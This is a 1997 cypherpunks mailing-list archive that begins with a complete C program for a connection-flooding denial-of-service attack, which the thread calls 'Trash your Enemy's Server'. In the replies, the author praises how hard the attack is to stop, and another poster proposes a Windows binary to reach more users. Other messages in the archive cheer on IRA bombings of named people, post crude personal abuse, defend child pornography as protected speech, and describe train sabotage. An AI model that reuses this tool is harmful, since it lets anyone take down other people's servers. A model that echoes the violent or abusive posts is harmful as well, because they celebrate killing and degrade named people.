#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define USAGE( msg ) 	\
   fprintf( stderr, Usage, msg, argv[0], argv[0], argv[0] ), \
   exit( 1 )

/* after I open this many additional connections (for n_connections == 0),
   I wait for 1 second, just in case 
*/

#define MAX_CONN 50

typedef enum { CON_BLOCK, CON_GRIND } ConMode;

/* create a client socket connected to PORT on HOSTNAME */
int create_client_socket(char ** hostname, int port)
{
    struct sockaddr_in sa ;
    struct hostent *hp ;
    int a, s ;
    long addr ;


    bzero(&sa, sizeof(sa)) ;
    if ((addr = inet_addr(*hostname)) != -1) {
        /* is Internet addr in octet notation */
        bcopy(&addr, (char *) &sa.sin_addr, sizeof(addr)) ; /* set address */
        sa.sin_family = AF_INET ;
    } else {
        /* do we know the host's address? */
        if ((hp = gethostbyname(*hostname)) == NULL) {
            return -2 ;
        }
        *hostname = hp->h_name ;
        bcopy(hp->h_addr, (char *) &sa.sin_addr, hp->h_length) ;
        sa.sin_family = hp->h_addrtype ;
    }

    sa.sin_port = htons((u_short) port) ;

    if ((s = socket(sa.sin_family, SOCK_STREAM, 0)) < 0) { /* get socket */
        return -1 ;
    }
    if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {  /* connect */
        close(s) ;
        return -1 ;
    }
    return s ;
}

int main( int argc, char *argv[] ) 
{
  char * name;
  int port, n_connections;
  int s;
  ConMode mode; 


  if( argc != 5
      || (argc >= 1 && (!strcmp( argv[1], "--help" ) 
                        || !strcmp( argv[1], "-help" ))))
    {
      USAGE( "Wrong Number of Arguments" );
    }

  if( !strcmp( argv[1], "block" ) )
    {
      mode = CON_BLOCK; 
    }
  else if( !strcmp( argv[1], "grind" ) )
    {
      mode = CON_GRIND;
    }
  else
    {
      USAGE( "First argument must be 'block' or 'grind'" );
    }

  name = argv[2];

  if( (port = atoi( argv[3] ) ) == 0 )
    {
      USAGE( "Port Number must be numeric" );
    }

  if( !isdigit( argv[4][0] ) )
    {
      USAGE( "Port Number must be numeric" );;
    }

  n_connections = atoi( argv[4] );

  if( n_connections == 0 ) /* infinite loop */
    {
      int i = 0;
      printf( "ATTENTION: This may damage even your "
               "computer. Press ^C to abort\n" );

      while( 1 )
        {
          if( create_client_socket( &name, port ) == -1 )
            {
              printf( "Connection refused; sleeping.\n" );
              sleep( 1 );
            }
          else
            {
              if( (i++ % MAX_CONN) == (MAX_CONN-1) )
                {
                  printf( "You can interrupt me here. I have %d "
                          "connections open. \nContinuing...\n", i );
                  sleep( 1 );
                }
            }
        }
    }
  else
    {
      int * fds = (int *)calloc( n_connections, sizeof( int ) );
      int i = 0;

      if( fds == 0 )
        USAGE( "Memory Allocation Error" ); 

      while( 1 ) /* in a loop, keep opening descriptors */
        {
          if( fds[i] != 0 )
            {
              printf( "Closing %d...\n", i );
              close( fds[i] );
              sleep( 1 );
            }

          while( 1 ) /* try to open the new one */
            {
              if( (fds[i] = create_client_socket( &name, port )) == -1 )
                {
                  printf( "Connection refused; sleeping.\n" );
                  sleep( 1 );
                }
              else
                {
                  printf( "Opened %d.\n", i );
                  break;
                }
            }

          i++;

          if( i == n_connections ) /* we've gone full circle */
            {
              printf( "Done with %d connections\n", i );

              if( mode == CON_BLOCK )
                {
                  printf( "I am going to sleep forever...\n", i );
                  while( 1 ) 
                    sleep(1);
                }
              else /* repeating the loop */
                i = 0;
            }
        }
    }
}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 7 Jun 1997 07:24:25 +0800
To: cypherpunks@toad.com
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <Pine.LNX.3.91.970606110806.1642F-100000@fatmans.demon.co.uk>
Message-ID: <HDFw8D25w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley <paul@fatmans.demon.co.uk> writes:
> Tims post made a good point, people soon forget the causes of conflict
> and only see the effects, today, hardly anyone in the UK sees the IRA as
> an organisation devoted to liberating NI, merely a bunch of thugs. Of

Of course they forget the nearly thousand years of English thuggery
in Ireland...

> course they have brought this on themselves by indiscriminately blowing
> things up. Talking of which the Queen is visiting Hastings (a town about
> 5 miles from me) today, I hope the IRA blow her up...

That would be just lovely!

I'm sorry the IRS missed a chance to blow up the Blair motherfucker
during his recent $400 dinner.

Please send donations to Sinn Fein every time you see Hallam Baker post.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 7 Jun 1997 07:51:49 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <Pine.GSO.3.95.970606111448.3131B-100000@cp.pathfinder.com>
Message-ID: <P4gw8D26w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@pathfinder.com> writes:
> I suspect we agree on spam.)

I kind of doubt it.

Do you believe, as I do, that "spam" deserves the protection as any other kind
of speech, and that so libel, child pornography, and bolb-making instructions?

I didn't think so. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 7 Jun 1997 07:52:03 +0800
To: cypherpunks@toad.com
Subject: Re: dnews?
In-Reply-To: <3.0.1.32.19970606061001.0082a370@flex.com>
Message-ID: <ZkHw8D27w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"Dr. Jai Maharaj" <jai@flex.com> writes:

> Recently, when I post an article in some newsgroups, the following
> arrives by E-Mail almost insyantly.  Then several hours later, the
> article is forge-canceled.  Any input will be appreciated! -  Jai Maharaj
>
> > Return-Path: dnews@152.132.1.40

I had a couple of those.  I don't think they're related to the
forged cancels from bellatlantic (which should be screamed about).

I'd appreciate all followups to the thread "Chris Lewis has utterly lost it",

Thanks.  Major updates to net.scun hopefully tonite.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 7 Jun 1997 08:39:51 +0800
To: ghio@temp0093.myriad.ml.org (Matthew Ghio)
Subject: Re: Who subscribes to the list?
In-Reply-To: <199706070022.RAA04412@myriad.alias.net>
Message-ID: <199706070030.TAA16138@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706070022.RAA04412@myriad.alias.net>, on 06/06/97 
   at 05:22 PM, ghio@temp0093.myriad.ml.org (Matthew Ghio) said:

>If you're worried that someone might find out who is subscribed to the
>list by querying some of the majordomos, don't bother.  I already have a
>list of all your IP addresses.

>Sendmail has a nice feature which checks all the sender or recipient
>addresses by doing DNS lookups on them.  My nameserver is watching you.
>:)


>P.S. I'm sure none of you would be foolish enough to use penet-style
>remailers which do not encrypt the message headers.


Your point being??

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5issY9Co1n+aLhhAQHS/QP/bLlAVf4ztvKpj+0RlWPRUKMqpUafOjn/
MOQhTwGNQGH0BcbiDuRaUcheJr9rY2MTnFrdocKsJu6nJ9fWnQCwE4RhstxWwrhG
/RClFns7NmQikl50DqPPjnAIrmVyPL5OhBU2/nAPicqU9NRaTaNrsFke9W7eitOo
PBgtFR4QDBI=
=nHzy
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 7 Jun 1997 02:18:51 +0800
To: cypherpunks@toad.com
Subject: [URGENT] Sphere packings
Message-ID: <199706061806.UAA27392@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim C[unt] May's 16Kb brain's single 
convolution is directly wired to his rectum 
for input and his T1 mouth for output. That's 
16K bits, not bytes. Anal intercourse has 
caused extensive brain damage.

 ///////
 \-oo-/  Tim C[unt] May
  \--/
   \/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sat, 7 Jun 1997 09:25:14 +0800
To: devnull@manifold.algebra.com
Subject: Re: Trash your Enemy's Server
In-Reply-To: <Takw8D29w165w@bwalk.dm.com>
Message-ID: <199706070108.UAA26269@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Dr.Dimitri Vulis KOTM wrote:
> ichudov@Algebra.COM (Igor Chudov @ home) writes:
> > #include <stdio.h>
> > #include <string.h>
> > #include <stdlib.h>
> > #include <sys/types.h>
> > #include <netdb.h>
> > #include <sys/socket.h>
> > #include <netinet/in.h>
> 
> Very good.  If I had the time, I would have used the same #ifdefs used in

Thanks.

> my cancelbot (available at http://www.thecia.net/~kibo/cancelbot.html, btw)
> to make a Windows 95 binary.
> Somehow I think the people most likely to use this would be running W95 and
> have no C compiler, rather than running a flavor of Unix/Linux.

I personally experience very unpleasant emotions whenever I have to do
anything with Win 95. Perhaps someone else could do it. Also, it is 
_possible_ that this program will not work too well on Win 95 because
it would block other applications. (I am not sure about this)

> Perhaps someless than busy than I am can do this. :-)


	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sat, 7 Jun 1997 09:18:40 +0800
To: mpd@netcom.com (Mike Duvos)
Subject: Re: Trash your Enemy's Server
In-Reply-To: <199706062352.QAA18259@netcom3.netcom.com>
Message-ID: <199706070111.UAA26287@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Mike Duvos wrote:
> 
> 
> Igor writes:
> 
> [C program which allegedly does a DoS attack on a server]
> 
> I thought the correct way to do this was to spew packets with random
> return addresses and fill up the host's listen table with half open TCP
> connections waiting to time out. 

There are patches that protect against this. The DOS attack that you mention
has been beaten to death in BugTraq and other places. It worked great until
all major OSes were patched. (of course some backwards sites still run
unpatched OSes)

It is very hard to protect against my attack, because it can only be done
at the application level. xinetd _may_ be helpful, though, if the service
being attacked is started from [x]inetd.

> Opening 1,000 genuine TCP connections to a host wastes both the host's
> resources as well as yours, and is a tad obvious should your target
> log packets with your IP address in them. 

Yes, BUT most typically a new connection creates only a new file 
descriptor on the host, and a whole new process on the target host.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sat, 7 Jun 1997 09:26:27 +0800
To: ghio@temp0094.myriad.ml.org (Matthew Ghio)
Subject: Re: Who subscribes to the list?
In-Reply-To: <199706070111.SAA15372@myriad.alias.net>
Message-ID: <199706070117.UAA26367@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Matthew Ghio wrote:
> William H. Geiger III wrote:
> > >P.S. I'm sure none of you would be foolish enough to use penet-style
> > >remailers which do not encrypt the message headers.
> > Your point being??
> 
> 
> While I am sure most readers of this list are well aware that remailed
> messages which are not encrypted and chained are not secure, there is a
> class of users who are not yet aware of this fact.  I was pointing out
> the relative ease with which their identities could be compromised by
> someone simply logging DNS traffic.  In addition, there was some recent
> discussion over whether or not it was possible to obtain the subscriber
> list from cyberpass.net and algebra.com.  Even if the subscriber list
> is not published, there is an alternative method to determine who
> subscribes to the list.
> 
> There are, of course, other methods, such as Return-Receipt headers and
> embedded html tags, but tracking DNS traffic tends to be easy to do on
> a wide scale without alerting the subjects that you are investigating.
> 

Another danger of  using remailers without encryption is that it is very
easy to compromise one's identity due to little mistakes and malformed
messages.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sat, 7 Jun 1997 11:30:03 +0800
To: declan@well.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <P4gw8D26w165w@bwalk.dm.com>
Message-ID: <3.0.2.32.19970606201814.03d26560@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain




>On Fri, 6 Jun 1997, Dr.Dimitri Vulis KOTM wrote:
[snip]
>> Do you believe, as I do, that "spam" deserves the protection as any
other kind
>> of speech, and that so libel, child pornography, and bolb-making 
                                                        ^^^^^^^^^^^
instructions?
^^^^^^^^^^^^^

How does one make bolbs anyway?  Are they similar to bolb-bearings?  Do you
have to plant them in the spring?  Why would people want to prevent you
from making them?  Are they any relation to J.R. "BolB" Dobbs?

Dyslexics minds want to know!

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Sat, 7 Jun 1997 11:47:04 +0800
To: gnu@toad.com
Subject: June 18th SF C'punks meeting: export controls on trial
Message-ID: <199706070323.UAA22781@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



We're having yet another "Cypherpunks Dress-Up Day" on Wednesday, June
18th.  Meet at the Federal Building in San Francisco, 450 Golden Gate
Avenue, at 10:15AM, dressin' sharp 'n' actin' cool.  There will also
be a regular 2nd-Saturday c'punks meeting this month (I think it's at
PGP, Inc.)

The Bernstein case is moving toward a close.  Both we and the
government have asked the court to render its final judgement.  We're
asking her to declare both the State Department and Commerce
Department crypto export control schemes unconstitutional, and to
enjoin (order) the government to stop enforcing them.  They're asking
to keep the status quo, and keep full discretion to change it whenever
they want.

The two sides have exchanged their motions, declarations, and
opposition briefs.  The final salvos will occur on the morning of June
18th, as we do "oral argument" in front of Judge Marilyn Hall Patel.
There she'll get to question us before she makes her decision.
In this final round of hearings, we're exploring these issues:

	*  Do the new Commerce Department export controls require people
	   to get a government license before they can speak?
	*  Do these controls impermissibly punish speech after the fact?
	*  Are they too vague to constitutionally regulate speech?
	*  Are they so broadly worded that they unconstitutionally
	   limit speech protected by the First Amendment?
	*  Can Prof. Bernstein challenge the law directly, as it applies
	   to everyone, or only as it applies to him?
	*  Does the President's declaration of an "international
	   emergency" have any effect, when there is no emergency and
	   the only issue is domestic and usual?
	*  Can cryptographic assistance, technology, and software be
	   regulated even though the law only applies to "foreign interest
	   in property" and excludes "communications"?
	*  Can these things be regulated even though the law precludes
	   regulation of "informational materials"?
	*  Should the judge void, or reaffirm, her previous decision
	   against the State Dept. export controls?
	*  Should the judge merely declare the Government's actions
	   unconstitutional, or should she also explicitly order them
	   to stop?
	*  Should she stop the enforcement of the unconstitutional
	   controls against everyone, or only against Prof. Bernstein?

Watch the wheels of justice grind!  Shake hands with the intrepid
lawyers who are working hard to protect our rights!  Banter with NSA
representatives specially flown in for the occasion!  Talk with
journalists who cover crypto!  Be quoted talking about crypto freedom!
Finally meet our reclusive plaintiff, Professor Dan Bernstein!

We will follow the hearing with a nearby press conference, then have
lunch at Max's Opera Plaza, a block away at Van Ness Avenue and Golden
Gate Avenue.  (Alternative lunch ideas are welcome.)

As background, Dan Bernstein, ex-grad-student from UC Berkeley, is
suing the State Department, NSA, Commerce Department, Justice
Department, and other agencies, with help from the EFF.  These
agencies restrained Dan's ability to publish a paper, as well as
source code, for the crypto algorithm that he invented.  We claim that
their procedures, regulations, and laws are not only unconstitutional
as applied to Dan, but in general.  Full background and details on the
case, including all of our legal papers (and many of the government's
as well), are (or will soon be) in the EFF Web archives at:
    http://www.eff.org/pub/Privacy/ITAR_export/Bernstein_case.

Like Phil Karn's and Peter Junger's cases, this lawsuit really has the
potential to outlaw the whole NSA crypto export scam.  We intend to
make your right to publish and export crypto software as well-
protected by the courts as your right to publish and export books.  It
will probably take more years, and an eventual Supreme Court decision,
to make it stick.  At the last hearing, we convinced the judge that
the State Department export control laws really are unconstitutional.
Her order restoring our legal right to publish crypto source code was
a wonderful Christmas present.  The government stopped issuing State
Department licenses, but two weeks later started requiring virtually
identical Commerce Department licenses.  We think Judge Patel will see
through this sham, and we hope she'll explicitly order them to cease.

Please make a positive impression on the judge.  Don those
mothball-scented conservative duds.  Show her -- by showing up -- that
this case matters to more people than just the plaintiff and
defendant.  Demonstrate that her decision will make a difference to
society.  That the public and the press are watching, and really do
care that she handles the issue well.

We'll have to be quiet and orderly while we're in the courthouse.
There will be no questions from the audience (that's us), and no
photography there, but the session will be tape-recorded and
transcribed, and you can take notes if you like.  The lobby guards
will want to hold onto guns, "munitions", and even small pocketknives,
before they'll let you go upstairs to the courtrooms.

It's unlikely that Judge Patel will decide then-and-there.  Instead,
we will get some insights into how she is leaning, based on her
questions and comments.  Her written decision will come out some weeks
or months later.  Even if she decides in our favor and issues an
injunction, this isn't the end of the work.  The Government would
almost certainly attempt to have the injunction stayed (stopped) while
they appeal the case to the 9th Circuit Court of Appeals (also here in
San Francisco).  Then there's the appeal itself, in which we'll
probably spend six months to a year defending Judge Patel's decision
in front of a higher court.  Followed by a potential appeal to the
Supreme Court.

The fat lady won't sing on June 18th, but the orchestra will be in
full swing and she'll be waiting in the wings.  Please join us on the
dance floor, in your best regalia.

	John Gilmore

PS: If you can't come, you can still contribute.  Come to EFF's
rock-and-roll fund-raiser at the Fillmore the following night,
Thursday, June 19th, 7PM.  $100/person, including a year of EFF
membership.  Current EFF members can buy two tickets at half price.
There you really *will* get to dance!  (If you're a musician, find a
sponsor, and you can play at the Fillmore.)  Reserve tickets at
http://www.eff.org/fillmore/.  See you there!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 7 Jun 1997 08:52:09 +0800
To: cypherpunks@toad.com
Subject: Re: Trash your Enemy's Server
In-Reply-To: <199706062334.SAA25668@manifold.algebra.com>
Message-ID: <Takw8D29w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



ichudov@Algebra.COM (Igor Chudov @ home) writes:

> #include <stdio.h>
> #include <string.h>
> #include <stdlib.h>
> #include <sys/types.h>
> #include <netdb.h>
> #include <sys/socket.h>
> #include <netinet/in.h>

Very good.  If I had the time, I would have used the same #ifdefs used in
my cancelbot (available at http://www.thecia.net/~kibo/cancelbot.html, btw)
to make a Windows 95 binary.

Somehow I think the people most likely to use this would be running W95 and
have no C compiler, rather than running a flavor of Unix/Linux.

Perhaps someless than busy than I am can do this. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 7 Jun 1997 09:47:44 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Privacy in Europe
Message-ID: <199706070138.UAA17112@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


In <Pine.3.89.9706061758.A25516-0100000@netcom22>, on 06/06/97 
   at 05:49 PM, Lucky Green <shamrock@netcom.com> said:


>The recent post by John Young about the German woman charged with linking
> to Radikal caused me to investigate this issue.

>You may have heard that Radikal had an article on sabotaging train
>systems. The article simply stated that if you break open a certain type
>of control box found next to train tracks and yank the circuit boards,
>the trains will refuse to enter the given track segment. Hardly the worst
>of possible sabotages and considerably less fatal than other methods
>discussed on a mailing list near you. 

>BTW, the woman has now been slapped with a new charge. Apparently it is 
>illegal in Germany to publish criminal complaints. [Due to privacy 
>regulations?]

>Since the woman has the official paperwork detailing the charges against
>her on her web site, she has now been charged *again* for violating the
>prohibition against publishing the official court documents. 

>Things are better in Europe? You must to be joking.

The problem with Europe is we kicked out the Germans and left the Nazi's.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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LY0TCxv1BeJrzCw8nvWleouOw3IwzJmK3EiCp6A4K9svrZPfWGSXhZjvyW+6tJPB
ujAz/gyUj2mFNdLz6/bJHp4uIirWPxyiJrGlBuEA8uJrGiu4n20zsXeBAvNNUY6u
6kiak6sbr9Y=
=Tj5L
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 7 Jun 1997 10:00:29 +0800
To: cypherpunks@einstein.ssz.com
Subject: Re: Arguments for good crypto and against GAK.
Message-ID: <199706070151.UAA17306@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706051819.NAA06360@einstein.ssz.com>, on 06/05/97 
   at 03:00 PM, "Peter Trei" <trei@process.com> said:

>In short, it's possible to pro-crypto, anti-GAK 
>without ever getting near sounding  anti-government; 
>in fact, being pro-crypto, anti-GAK can be a 
>conservative, anti-crime, law & order position.

Well the real problem here is not GAK it is just a symptom.

The problem is the position that our current government and especially
LEAs in that government have taken that we have no rights. That the
Constitution and the Bill of Rights have no meaning unless it is
politically convienant to them.

I don't see how anyone can look at the governments behavior in its push
for GAK and not have utter contempt for them.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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WFJSZ7l8aN2xAkpWrIJoRo6C90tsPKWoqy3G9N/legeJPKrBx4gtpiuWv0wTBgDA
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sat, 7 Jun 1997 10:01:26 +0800
To: nobody@REPLAY.COM (Anonymous)
Subject: Re: Who subscribes to the list?
In-Reply-To: <199706070142.DAA29774@basement.replay.com>
Message-ID: <199706070149.UAA26627@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Anonymous wrote:
> 
> 
> Igor Chudov @ home wrote:
> > Another danger of  using remailers without encryption is that it is very
> > easy to compromise one's identity due to little mistakes and malformed
> > messages.
> 
> Yup, apparently relay.com and reply.com have gotten quite a bit of
> remailer@replay.com's mail.  In fact, relay.com has complained about this
> several times.  (Obviously they were reading the misdirected mail.)
> 

What do remailer operators think about requiring all incoming messages
to be encrypted? Would that bring more good than harm?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 7 Jun 1997 09:32:43 +0800
To: cypherpunks@toad.com
Subject: Germany to Surveil CoS
Message-ID: <1.5.4.32.19970607011507.009b1bc4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



                           DEPARTMENT OF STATE
                        DAILY PRESS BRIEFING INDEX
                            Friday, June 6, 1997
                           Briefer:  Nicholas Burns

[Excerpt]

QUESTION:  What is the State Department's reaction to the decision of
the German Interior Ministers to put the Church of Scientology under
nationwide observation by the anti-extremist watchdogs?

MR. BURNS:  Well, we understand that the German state and federal
interior ministers have agreed to pursue the recommendations of an
experts group which called for the collection of information on
Scientologists and scientology.  It is our understanding - and we have a
very incomplete understanding, actually, of this decision - that the
ministers directed state and federal law enforcement agencies to develop
a plan to implement these recommendations.

We will examine the details of this decision carefully, but since I
don't believe our embassy in Bonn or our German experts here at the
State Department have had sufficient time really to look at this in
detail, I don't think it's appropriate for me to give you a detailed
comment.  I will say this.  The United States obviously has to stand for
freedom of religion.  We have that in our own country and we stand for
freedom of religion around the world.  If you would just look at our
annual human rights reports, I think four out of the last five years or
five of the last six - I forget which - we have mentioned this issue of
scientology.

But I feel compelled to say something else about this issue, and that is
that Germany needs to be protected, the German Government and the German
leadership need to be protected from this wild charge made by the Church
of Scientology in the United States that somehow the treatment of
Scientologists in Germany can or should be compared to the treatment of
Jews who had to live, and who ultimately perished, under Nazi rule in
the 1930s.

This wildly inaccurate comparison is most unfair to Chancellor Kohl and
to his government and to regional governments and city governments
throughout Germany.  It has been made consistently by supporters of
scientology here in the United States, and by Scientologists themselves.
I do want to disassociate the United States Government from this
campaign.  We reject this campaign.  It is most unfair to Germany and to
Germans in general.

QUESTION:  Anything in this latest effort by Germany to deal with the
Church of Scientology that concerns you?

MR. BURNS:  Well, Carol, as I said, we have a sketchy understanding, at
best, of what this means.  It appears to be instructions by state and
federal law enforcement agencies to look at a set of recommendations and
develop a plan upon recommendations.

We have an alliance relationship with Germany.  We have a very close
relationship. I think among friends, you don't shoot first and ask
questions later.  What we need to do is study this issue, talk to the
German Government about it, and then perhaps we will have something to
say later on.  But I think it would be most unfair to Germany for us to
have detailed comments when we don't have a detailed understanding of
what this process may or may not be.  Yes.

[End excerpt]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 7 Jun 1997 14:48:56 +0800
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: McVeigh  [WACO NOISE POLITICS NON-CRYPTO]
In-Reply-To: <3.0.2.32.19970604165830.0078e268@panix.com>
Message-ID: <3.0.1.32.19970606212218.0073e864@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:13 PM 6/4/97 -0400, you wrote:
>Give it a rest. The people inside had already murdered several BATF
>agents. They had every opportunity to release the children and allow
>them to get to safety. They had every opportunity to surrender.

Phill, I'm really appalled at this posting of yours.
When a bunch of armed marked people storm your house with assault rifles
and grenades, without warning you to come out first,
and you shoot back at them, that's not murder.  That's self-defense.
It may be stupid - there's a lot to be said for lying on the floor
with your hands over your head, which will make the armed assault force
feel slightly guilty if they shoot you in the back - but it's
not murder, and it's not anything resembling murder.
If the BATF killed any of the Davidians in the incident, _that_ would 
have been murder.  
	[If, as some people contend, some of the four dead assailants were 
	actually killed by friendly fire, that wouldn't have been murder
	either, that would have been an accident.  And since the leader
	of the attack force knew he'd probably lost the element of surprise,
	he was clearly negligent in protecting his men.]

Even if the Davidians knew, and they apparently did,
that an armed gang was about to storm their house without warning,
that's still self-defense, not murder.  Waving a white flag out the window
before the attackers have a chance to sneak up and storm you
would probably embarass or confuse them, but the Davidians had no
reason to trust that the assault force would respect it
and not just shoot them anyway -- and besides, while the Davidians
had fewer guns per person than the average Texan, they were
paranoid wackos, and surrendering before being attacked isn't the
kind of thing you expect paranoid wackos to think of at dawn
after being warned by a phone call.
	
>The US police may be incompetent and corrupt but that does not excuse
>the Oaklahoma bombing nor does it in any way lessen the responsibility of
>McVeigh and those who encouraged him.

I didn't say the people who disagreed with you on this list
weren't engaging in macho flash rhetoric here :-)

>Only I think that the SAS is probably better experienced.

Not just the SAS - even the FBI said after the first wave of attacks that,
unlike the BATF, they really try not to lead armed assaults
when there are women and children in the way.  By a couple of months
later, the political pressure had become strong enough that they
decided to do it anyway, but at least at first they were embarassed
about the situation their colleagues had gotten them into.
The US military has better-trained people also, but there's a very strong
tradition against using the US military for domestic incidents -
our so-called Civil War has really soured us on that.

But whether you're looking at the SAS, Marines, BATF, Delta Force,
or FBI Hostage Rescue Team, the mission wasn't something a 
military assault force is right for - that sort of thing is fine for 
rescuing hostages from terrorists, or killing terrorists before
they set off bombs or shoot the neighbors.  But the legal objective
of the police should have been to inform the Davidians that the
police want to search their house, or that they were wanted in court, 
or maybe even to arrest them if there was enough evidence to convince a 
judge to sign an arrest warrant.  What can a military do?  
Shoot the adults for refusing to surrender, while trying not to shoot the 
kids too?  Militias can do things like keep the Davidians from running 
away when the police knock on their door, but there probably wasn't enough 
evidence of a crime to justify an arrest, certainly not of anyone but
Koresh, and if everybody _did_ run away, that would make searching their
house to get evidence of contraband possession easier.

>> The Feds could have done in 1993 what they've done since 
>> (Koresh wasn't the  only one who got burned there) and 
>> LEAVE PEACEFUL PEOPLE ALONE.
>yeah peacefull types whose response to a visit from the police was to
>lie in ambush and shoot at them with automatic weapons.
>So are you suggesting that the police ignore the complaints of illegal
>ownership of firearms and child abuse?

Again, the Davidian's response was stupid, but this wasn't a 
"visit from the police", this was an assault force that shot first
while they were storming the house at dawn.

The local sheriff had visited the house the previous year
to respond to allegations of potential child abuse.
Came up, knocked on the door, they let him in, everybody talked,
he decided there was no evidence of criminal child abuse,
just weird religious and personality-cult.  No problem.
If he'd wanted to do the same again, he could have,
and he could have done something similar for the weapons charge.
